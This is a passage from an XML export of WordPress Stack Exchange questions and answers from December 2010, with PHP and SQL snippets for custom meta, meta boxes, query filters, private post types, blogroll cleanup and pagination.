update_custom_meta($postID, $_POST['scottb_customTitle'], '_scottb_customTitle');&#xA;        }&#xA;        else&#xA;        {&#xA;            update_custom_meta($postID, '', '_scottb_customTitle');&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;function update_custom_meta($postID, $newvalue, $field_name) {&#xA;    // To create new meta&#xA;    if(!get_post_meta($postID, $field_name)){&#xA;    add_post_meta($postID, $field_name, $newvalue);&#xA;    }else{&#xA;    // or to update existing meta&#xA;    update_post_meta($postID, $field_name, $newvalue);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-06T18:57:28.893" Title="&quot;Quick Edit&quot; &gt; update clears out my custom meta values" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" />
  <row Id="4932" PostTypeId="1" AcceptedAnswerId="4934" CreationDate="2010-12-06T16:34:43.950" Score="0" ViewCount="308" Body="&lt;p&gt;I am trying to run an automatic update from Wordpress 3.0 to 3.02.  However, I get the following error message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Unable to locate WordPress Root directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installation Failed&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also cannot install plugins on the same server.  The error message for the plugins is quite similar:&#xA;&quot;Plugin could not be deleted due to an error: Unable to locate WordPress Plugin directory.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have contacted the host but they have not been much help.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&#xA;Jeff&lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2010-12-06T16:41:26.613" Title="Automatic updates not working/plugins not installing" Tags="&lt;plugins&gt;&lt;updates&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4933" PostTypeId="2" ParentId="4528" CreationDate="2010-12-06T16:35:53.697" Score="1" ViewCount="" Body="&lt;p&gt;The following code allows you to add the parameters &lt;code&gt;wpse4528_key&lt;/code&gt; and &lt;code&gt;wpse4528_minimum&lt;/code&gt; to your queries, and will then add an extra criterium to the where clause that counts the number of meta values with your key.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_where', 'wpse4528_posts_where', 10, 2 );&#xA;function wpse4528_posts_where( $where, &amp;amp;$wp_query )&#xA;{&#xA;    global $wpdb;&#xA;    $count_key = $wp_query-&amp;gt;get( 'wpse4528_key' );&#xA;    if( $count_key ) {&#xA;        $where .= $wpdb-&amp;gt;prepare( &quot; AND (SELECT COUNT(*) FROM {$wpdb-&amp;gt;postmeta} WHERE {$wpdb-&amp;gt;postmeta}.post_id = {$wpdb-&amp;gt;posts}.ID AND {$wpdb-&amp;gt;postmeta}.meta_key = %s) &amp;gt;= %d&quot;, $count_key, $wp_query-&amp;gt;get( 'wpse4528_minimum' ) );&#xA;    }&#xA;    return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-06T16:35:53.697" CommentCount="2" />
  <row Id="4934" PostTypeId="2" ParentId="4932" CreationDate="2010-12-06T16:41:26.613" Score="1" ViewCount="" Body="&lt;p&gt;Jeff, unfortunately this looks like a problem with your hosting setup, so your host will be the only one who can help.  If they can't, and the problem doesn't correct itself, I'd recommend exporting your site and moving to a more supportive host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, though, who is your current host?  If you have FTP access, try manually updating a plug-in by transferring the new files to your server.  If that works, then you can manually update WordPress using the &lt;a href=&quot;http://codex.wordpress.org/Upgrading_WordPress&quot; rel=&quot;nofollow&quot;&gt;standard upgrade instructions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have FTP access and still can't auto-update, there's not much more we can do without going through your host directly.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-06T16:41:26.613" CommentCount="1" />
  <row Id="4935" PostTypeId="2" ParentId="1511" CreationDate="2010-12-06T16:51:36.483" Score="0" ViewCount="" Body="&lt;p&gt;You might also have a look at the 'Connections' plugin. Does most of what you want I think, and the plugin developer is willing to make enhancements.&lt;/p&gt;&#xA;" OwnerUserId="1836" LastActivityDate="2010-12-06T16:51:36.483" />
  <row Id="4936" PostTypeId="1" AcceptedAnswerId="4937" CreationDate="2010-12-06T17:34:41.273" Score="0" ViewCount="487" Body="&lt;p&gt;How can I remove the Featured Image meta box?  I've tried using the &lt;code&gt;remove_meta_box&lt;/code&gt; function and specifying the boxes ID but it doesn't seem to work like it does for the other native meta boxes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the specific code I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'remove_thumbnail_box' );&#xA;&#xA;function remove_thumbnail_box() {&#xA;    remove_meta_box( 'postimagediv', 'post', 'side' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="765" LastActivityDate="2010-12-06T18:11:43.333" Title="Remove the Featured Image Meta Box" Tags="&lt;metabox&gt;&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="4937" PostTypeId="2" ParentId="4936" CreationDate="2010-12-06T17:57:06.780" Score="4" ViewCount="" Body="&lt;p&gt;I haven't had time to test this but this looks like it should work for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('do_meta_boxes', 'remove_thumbnail_box');&#xA;&#xA;function remove_thumbnail_box() {&#xA;    remove_meta_box( 'postimagediv','post','side' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check this for &lt;a href=&quot;http://wordpress.org/support/topic/how-to-move-featured-image-box-from-side-to-main-column&quot; rel=&quot;nofollow&quot;&gt;more info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The main change here is that you need to attach the function to do_meta_boxes instead of admin_menu&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="1756" LastEditorDisplayName="" LastEditDate="2010-12-06T18:02:48.040" LastActivityDate="2010-12-06T18:02:48.040" CommentCount="1" />
  <row Id="4938" PostTypeId="2" ParentId="4407" CreationDate="2010-12-06T18:04:39.577" Score="1" ViewCount="" Body="&lt;p&gt;Indeed, you need to add the rewrite tags. They indicate what can come in the place of your &lt;code&gt;%cal_year%&lt;/code&gt; and similar tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_tag( '%cal_year%', '([0-9]{4})' );&#xA;add_rewrite_tag( '%cal_month%', '([0-9]{1,2})' );&#xA;add_rewrite_tag( '%cal_day%', '([0-9]{1,2})' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works, but I don't understand how: it seems to me something is missing to let WordPress know how it should get from &lt;code&gt;2010/12/31&lt;/code&gt; to &lt;code&gt;2010-12-31&lt;/code&gt; or however you saved your custom value. Maybe it just defaults back to the slug?&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-06T18:04:39.577" />
  <row Id="4939" PostTypeId="2" ParentId="4936" CreationDate="2010-12-06T18:11:43.333" Score="1" ViewCount="" Body="&lt;p&gt;The post thumbnail is added to a post type as something this post type &lt;em&gt;supports&lt;/em&gt;. If you want to remove post thumbnail functionality from a post type, you can call &lt;code&gt;remove_post_type_support()&lt;/code&gt;. Regular posts are also defined as custom post types, so it should work for them too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse4936_init', 100 /* Something high, to make sure all post types are registered */ );&#xA;function wpse4936_init()&#xA;{&#xA;    remove_post_type_support( 'post', 'post-thumbnail' );&#xA;    // Or remove it for all registerd types&#xA;    foreach ( get_post_types() as $post_type ) {&#xA;        remove_post_type_support( $post_type, 'post-thumbnail' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-06T18:11:43.333" CommentCount="6" />
  <row Id="4940" PostTypeId="2" ParentId="4528" CreationDate="2010-12-06T18:44:55.260" Score="1" ViewCount="" Body="&lt;p&gt;You need to use the posts_groupby filter, twice. They'll probably look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_my_groupby($groupby, &amp;amp;$query) {&#xA;  global $wpdb;&#xA;  $groupby .= &quot;$wpdb-&amp;gt;posts.ID&quot;;&#xA;  return $groupby;&#xA;}&#xA;&#xA;function add_my_having($groupby, &amp;amp;$query) {&#xA;  $groupby .= &quot; HAVING COUNT(*) &amp;gt;= 5&quot;;&#xA;  return $groupby;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you need to do something like so in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_groupby', 'add_my_groupby', 10, 2);&#xA;add_filter('posts_groupby', 'add_my_having', 1000000, 2);&#xA;&#xA;query_posts( array(/* your stuff...*/) );&#xA;&#xA;remove_filter('posts_groupby', 'add_my_groupby', 10);&#xA;remove_filter('posts_groupby', 'add_my_having', 1000000);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note the extremely large number passed for the second filter's priority. It is meant to work around the lack of posts_having filter in the WP API.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, don't bother with the query_posts() garbage and query the DB directly, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;get_results(&quot;&#xA;  SELECT posts.*&#xA;  FROM $wpdb-&amp;gt;posts as posts&#xA;  JOIN $wpdb-&amp;gt;postmeta as postmeta&#xA;  ON postmeta.post_id = posts.ID&#xA;  AND postmeta.meta_key = 'whatever'&#xA;  GROUP BY posts.ID&#xA;  HAVING COUNT(*) &amp;gt;= 5&#xA;  ORDER BY posts.post_date DESC&#xA;  LIMIT 5&#xA;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: As point out by Jan, it should be something like: &lt;code&gt;HAVING COUNT(DISTINCT postmeta.post_id) &amp;gt;= 5&lt;/code&gt; in case there are other joins.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastEditorUserId="1208" LastEditorDisplayName="" LastEditDate="2010-12-09T17:27:47.337" LastActivityDate="2010-12-09T17:27:47.337" CommentCount="4" />
  <row Id="4941" PostTypeId="2" ParentId="4931" CreationDate="2010-12-06T18:57:28.893" Score="2" ViewCount="" Body="&lt;p&gt;Add a hidden flag to the post edit form along with your custom fields. Something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;my_hidden_flag&quot; value=&quot;true&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, wrap all of your custom save_post stuff in a check for this flag. Then you don't have to check for the autosave constant any more either--if the flag doesn't exist, it's either a quick edit or an autosave.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_add_save($postID){&#xA;&#xA;    // Only do this if our custom flag is present&#xA;    if (isset($_POST['my_hidden_flag'])) {&#xA;&#xA;        // called after a post or page is saved&#xA;        if($parent_id = wp_is_post_revision($postID)) {&#xA;            $postID = $parent_id;&#xA;        }&#xA;&#xA;        if ($_POST['scottb_customHeader']) {&#xA;            update_custom_meta($postID, $_POST['scottb_customHeader'], '_scottb_customHeader');&#xA;        } else {&#xA;            update_custom_meta($postID, '', '_scottb_customHeader');&#xA;        }&#xA;&#xA;        if ($_POST['scottb_customTitle']) {&#xA;            update_custom_meta($postID, $_POST['scottb_customTitle'], '_scottb_customTitle');&#xA;        } else {&#xA;            update_custom_meta($postID, '', '_scottb_customTitle');&#xA;        }&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-06T18:57:28.893" CommentCount="1" />
  <row Id="4942" PostTypeId="2" ParentId="3680" CreationDate="2010-12-06T19:14:27.427" Score="1" ViewCount="" Body="&lt;p&gt;From my experience Drupal makes everything unnecessarily complicated. [Perhaps Drupal 7 will rectify that.] &lt;br&gt;&#xA;Now, With Wordpress 3, I don't see anything that Drupal can do that WordPress Cannot. &lt;br&gt;&#xA;[Other than admin themes!]&lt;/p&gt;&#xA;" OwnerUserId="1810" LastEditorUserId="1810" LastEditorDisplayName="" LastEditDate="2010-12-06T19:20:25.003" LastActivityDate="2010-12-06T19:20:25.003" />
  <row Id="4943" PostTypeId="2" ParentId="2993" CreationDate="2010-12-06T19:42:53.313" Score="0" ViewCount="" Body="&lt;p&gt;Thanks Rarst! That worked!&lt;/p&gt;&#xA;" LastActivityDate="2010-12-06T19:42:53.313" />
  <row Id="4944" PostTypeId="1" CreationDate="2010-12-06T20:28:32.793" Score="1" ViewCount="377" Body="&lt;p&gt;I have the following function set up in my functions.php file to allow my custom post type &quot;Slideshow&quot; to work.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'the_post', 'paginate_slide' );&#xA;&#xA;function paginate_slide( $post ) {&#xA;&#xA;    global $pages, $multipage, $numpages;&#xA;&#xA;    if( is_single() &amp;amp;&amp;amp; get_post_type() == 'lom_slideshow' ) {&#xA;    $prefix = &quot;slide{$i}&quot;;&#xA;    $multipage = 1;&#xA;    $id = get_the_ID();&#xA;    $custom = array();&#xA;    $pages = array();&#xA;    $i = 1;&#xA;&#xA;    foreach( get_post_custom_keys() as $key )&#xA;        if ( false !== strpos( $key, 'slide' ) )&#xA;            $custom[$key] = get_post_meta( $id, $key, true);&#xA;&#xA;    while( isset( $custom[&quot;slide{$i}-title&quot;] ) ) {&#xA;&#xA;    $hide = $custom[&quot;slide{$i}-hide&quot;];&#xA;    $slidetype = $custom[&quot;slide{$i}-slidetype&quot;];&#xA;&#xA;    if( 'on' == $hide ) {&#xA;    $i++;&#xA;    continue;&#xA;                        }&#xA;&#xA;        $page = '';&#xA;        $title = $custom[&quot;slide{$i}-title&quot;];&#xA;        $image = $custom[&quot;slide{$i}-image&quot;];&#xA;        $desc = $custom[&quot;slide{$i}-desc&quot;];&#xA;        $embed = $custom[&quot;slide{$i}-embed&quot;];&#xA;        if(isset($image))&#xA;        $imgdisplay = &quot;&amp;lt;img src='{$image}' /&amp;gt;&quot;;&#xA;        else&#xA;        $imgdisplay = '';&#xA;&#xA;    if( 'Video' == $slidetype ) &#xA;&#xA;        $page = &quot;&amp;lt;div class='media-title'&amp;gt;&amp;lt;h2&amp;gt;{$title}&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class='media-image'&amp;gt;{$embed}&amp;lt;/div&amp;gt;&amp;lt;div class='media-desc'&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;    else&#xA;        $page = &quot;&amp;lt;div class='media-title'&amp;gt;&amp;lt;h2&amp;gt;{$title}&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class='media-image'&amp;gt;{$imgdisplay}&amp;lt;/div&amp;gt;&amp;lt;div class='media-desc'&amp;gt;{$desc}&amp;lt;/div&amp;gt;&quot;;&#xA;        $pages[] = $page;&#xA;        $i++;&#xA;    }&#xA;    $numpages = count( $pages );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This part displays the  output: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = &quot;&amp;lt;div class='media-title'&amp;gt;&amp;lt;h2&amp;gt;{$title}&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class='media-image'&amp;gt;{$embed}&amp;lt;/div&amp;gt;&amp;lt;div class='media-desc'&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It displays there where &lt;code&gt;the_content&lt;/code&gt; is called in my template.  Rather than putting the pieces together there in my functions.php I'd like to be able to call each piece directly in my Custom Post template exactly where I want it.  For example, by putting &lt;code&gt;&amp;lt;?php echo $desc; ?&amp;gt;&lt;/code&gt; in my template file where I want the Description to display and &lt;code&gt;&amp;lt;?php echo $title; ?&amp;gt;&lt;/code&gt; where I want the Title to display.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a couple different ways but can't get anything to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Without starting over from scratch or redesigning my whole template how can I make these variable more modular (able to be placed at will within my template)?&lt;/strong&gt;  &lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="765" LastEditorDisplayName="" LastEditDate="2010-12-07T01:47:45.923" LastActivityDate="2010-12-08T17:25:37.350" Title="Take Variables Set in Functions.php and Echo Them Inside My Custom Post Template" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;page-template&gt;&lt;variables&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="4945" PostTypeId="1" AcceptedAnswerId="4949" CreationDate="2010-12-06T20:37:01.723" Score="0" ViewCount="168" Body="&lt;p&gt;I have a plugin that I use on all my new sites to set up site defaults (deletes the &quot;hello world&quot; post, the &quot;about&quot; page, the &quot;Mr WordPress&quot; comment, etc...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add a routine that removes all the default links under &quot;Blogroll&quot;. I'm not sure what function to call. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-06T21:35:04.453" Title="Remove Default Blogroll Links via Plugin script" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="4946" PostTypeId="2" ParentId="4944" CreationDate="2010-12-06T20:37:34.223" Score="1" ViewCount="" Body="&lt;p&gt;What you need to do is look at your &lt;code&gt;$page&lt;/code&gt; and &lt;code&gt;$pages&lt;/code&gt; variables and do the same thing with your &lt;code&gt;$desc&lt;/code&gt; variable (and any other variable that you want to access outside of the function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need a global &lt;code&gt;$descs&lt;/code&gt; which will be an array where you will place in each of the &lt;code&gt;$desc&lt;/code&gt; values, using something like &lt;code&gt;$descs[] = $desc;&lt;/code&gt; right after the code &lt;code&gt;$pages[] = $page;&lt;/code&gt;. Then you would access &lt;code&gt;$descs&lt;/code&gt; outside of the function, remember it is an array.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Usually, you need to declare &lt;code&gt;$desc&lt;/code&gt; as a global in the template file you want to use it in, e.g. you need to use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $desc;&#xA;echo $desc;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It may be better to use a wrapping function that returns, or echos your &lt;code&gt;$desc&lt;/code&gt; variable and call that from within your template file, e.g. place something like this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function foo_bar()&#xA;{&#xA;$custom[$key] = get_post_meta( $id, $key, true);&#xA;return $custom[&quot;slide{$i}-desc&quot;];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in your template file use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo foo_bar();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, this wrapping function won't work as is, since it looks like you grabbed something from within a PHP loop construct. You may need to pass in $id, $key, $i, and $custom to the function, or declare them as globals in the function. Without knowing the context, I can't tell you which way will work better for you.&lt;/p&gt;&#xA;" OwnerUserId="1078" LastEditorUserId="1078" LastEditorDisplayName="" LastEditDate="2010-12-08T17:25:37.350" LastActivityDate="2010-12-08T17:25:37.350" CommentCount="10" />
  <row Id="4948" PostTypeId="1" AcceptedAnswerId="5010" CreationDate="2010-12-06T21:28:03.603" Score="2" ViewCount="422" Body="&lt;p&gt;Here's the setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The client uses a proprietary&#xA;custom-coded PHP CMS and is wanting&#xA;to move to WordPress with BuddyPress.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The old, custom CMS has a roster&#xA;functionality, which I'm using&#xA;BuddyPress custom fields to replace.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The custom fields are basic contact&#xA;info (Phone, Fax) and company info&#xA;(Text field).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is the best way to import these? It seems my two options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a pretty large SQL query that&#xA;reformats this data between&#xA;databases (I'm about 3 hours into&#xA;doing it this way so far)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Export it into some sort of JSON&#xA;format and use the Ning importer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the best option is using the Ning importer, know where I can get an example Ning user list CSV so I may format the user data accordingly? If the best option is using a big MySQL query, what are some things I should look at in terms of row values WordPress expects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2010-12-07T21:10:20.417" Title="Importing users to Buddypress with custom fields" Tags="&lt;custom-field&gt;&lt;mysql&gt;&lt;buddypress&gt;&lt;import&gt;&lt;bulk-import&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="4949" PostTypeId="2" ParentId="4945" CreationDate="2010-12-06T21:30:15.190" Score="2" ViewCount="" Body="&lt;p&gt;Haven't tested this yet, but it should do the trick in 3x:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get all the existing links&#xA;$arr_args = array( 'hide_invisible' =&amp;gt; 0 );&#xA;$arr_links = get_bookmarks( $arr_args );&#xA;&#xA;// Run through the list and delete 'em&#xA;foreach($arr_links as $obj_link) {&#xA;    wp_delete_link($obj_link-&amp;gt;link_id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you'd only want to do this once, and only on a fresh install as it deletes all links. Alternately, you could hardcode an array of default link slugs/ids and loop through that instead. Depends where and when you're running this thing.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-06T21:30:15.190" CommentCount="1" />
  <row Id="4950" PostTypeId="2" ParentId="4945" CreationDate="2010-12-06T21:35:04.453" Score="0" ViewCount="" Body="&lt;p&gt;Just &quot;truncate wp_links&quot; using wpdb. :-)&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-12-06T21:35:04.453" CommentCount="7" />
  <row Id="4951" PostTypeId="2" ParentId="3680" CreationDate="2010-12-06T21:57:34.097" Score="2" ViewCount="" Body="&lt;p&gt;@ Denis:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WP is still stuck in old PHP4 paradigms. Drupal isn't.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The current release of WP will be the last to run on PHP4, from now on future releases require PHP5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wheather or not to choose WP over Drupal/Joomla is really up to the developer.&#xA;Ask the client what features they are looking for, and base your decision on that.&lt;/p&gt;&#xA;" OwnerUserId="1844" LastActivityDate="2010-12-06T21:57:34.097" />
  <row Id="4952" PostTypeId="1" AcceptedAnswerId="4957" CreationDate="2010-12-06T21:59:13.513" Score="1" ViewCount="272" Body="&lt;p&gt;Does anyone know of a way to add code to the functions.php file which will automatically force all posts belonging to a custom post type to be &quot;private&quot; and/or &quot;password protected&quot; with a default password set?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am specifically referring to creating a new post or editing an existing post thus ensuring a post belonging to a specific custom post type never changes...&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-12-17T03:19:52.760" LastActivityDate="2010-12-17T03:19:52.760" Title="Forcing all posts associated with a custom post type to be private" Tags="&lt;custom-post-types&gt;&lt;functions&gt;&lt;password&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="4953" PostTypeId="2" ParentId="4952" CreationDate="2010-12-06T22:05:18.560" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function force_type_private($post)&#xA;{&#xA;    if ($post['post_type'] != 'my_post_type')&#xA;        return $post;&#xA;&#xA;    $post['post_password'] = 'my password';&#xA;    $post['post_status'] = 'private';&#xA;    return $post;&#xA;}&#xA;add_filter('wp_insert_post_data', 'force_type_private');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2010-12-06T22:05:18.560" CommentCount="4" />
  <row Id="4954" PostTypeId="2" ParentId="4724" CreationDate="2010-12-06T22:14:21.390" Score="0" ViewCount="" Body="&lt;p&gt;you can return the taxonomie for custom post with a small funtion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function get_the_taxonomy( $taxonomy, $id = FALSE ) {&#xA;        global $post;&#xA;&#xA;        $id = (int) $id;&#xA;        if ( !$id )&#xA;            $id = (int) $post-&amp;gt;ID;&#xA;&#xA;        $categories = get_object_term_cache( $id, $taxonomy );&#xA;        if ( FALSE === $categories ) {&#xA;            $categories = wp_get_object_terms( $id, $taxonomy );&#xA;            wp_cache_add($id, $categories, $taxonomy . '_relationships');&#xA;        }&#xA;&#xA;        if ( !empty( $categories ) )&#xA;            usort( $categories, '_usort_terms_by_name' );&#xA;        else&#xA;            $categories = array();&#xA;&#xA;        foreach ( (array) array_keys( $categories ) as $key ) {&#xA;            _make_cat_compat( $categories[$key] );&#xA;        }&#xA;&#xA;        return $categories;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you can use the function of wp-core:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomys = get_the_term_list($id, YOUR_CUSTOM_POST_TYPE, '', ', ', '' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can ask for tax with &lt;code&gt;is_tax()&lt;/code&gt;, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_tax&quot; rel=&quot;nofollow&quot;&gt;codex for this conditional tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this helps, when i understand your problem right. Sorry for my bad english.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-06T22:14:21.390" CommentCount="2" />
  <row Id="4955" PostTypeId="2" ParentId="4918" CreationDate="2010-12-06T22:16:41.593" Score="1" ViewCount="" Body="&lt;p&gt;or use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/search-and-replace/&quot; rel=&quot;nofollow&quot;&gt;Search &amp;amp; Replace&lt;/a&gt;, makes easy for use sql inside WP; use the like statement and give you an gui for search/replace strings in content and other tables.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-06T22:16:41.593" />
  <row Id="4956" PostTypeId="2" ParentId="4909" CreationDate="2010-12-06T22:23:00.027" Score="1" ViewCount="" Body="&lt;p&gt;Use a custom pagination function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_paging_bar( $args = array() ) {&#xA;&#xA;    $defaults = array(&#xA;        'range'           =&amp;gt; 4,&#xA;        'custom_query'    =&amp;gt; FALSE,&#xA;        'previous_string' =&amp;gt; __( '&amp;amp;laquo;&amp;amp;laquo;&amp;amp;laquo;', FB_GREYFOTO_TEXTDOMAIN ),&#xA;        'next_string'     =&amp;gt; __( '&amp;amp;raquo;&amp;amp;raquo;&amp;amp;raquo;', FB_GREYFOTO_TEXTDOMAIN ),&#xA;        'view_fp'         =&amp;gt; TRUE,&#xA;        'view_lp'         =&amp;gt; TRUE,&#xA;        'before_output'   =&amp;gt; '&amp;lt;div class=&quot;postlink&quot;&amp;gt;',&#xA;        'after_output'    =&amp;gt; '&amp;lt;/div&amp;gt;'&#xA;    );&#xA;&#xA;    $args = wp_parse_args( &#xA;        $args, &#xA;        apply_filters( 'fb_paging_bar_defaults', $defaults )&#xA;    );&#xA;&#xA;    $args['range'] = (int) $args['range'] - 1;&#xA;    if ( !$args['custom_query'] )&#xA;        $args['custom_query'] = @$GLOBALS['wp_query'];&#xA;    $count = (int) $args['custom_query']-&amp;gt;max_num_pages;&#xA;    $page  = intval( get_query_var( 'paged' ) );&#xA;    $ceil  = ceil( $args['range'] / 2 );&#xA;&#xA;    if ( $count &amp;lt;= 1 )&#xA;        return FALSE;&#xA;&#xA;    if ( !$page )&#xA;        $page = 1;&#xA;&#xA;    if ( $count &amp;gt; $args['range'] ) {&#xA;        if ( $page &amp;lt;= $args['range'] ) {&#xA;            $min = 1;&#xA;            $max = $args['range'] + 1;&#xA;        } elseif ( $page &amp;gt;= ($count - $ceil) ) {&#xA;            $min = $count - $args['range'];&#xA;            $max = $count;&#xA;        } elseif 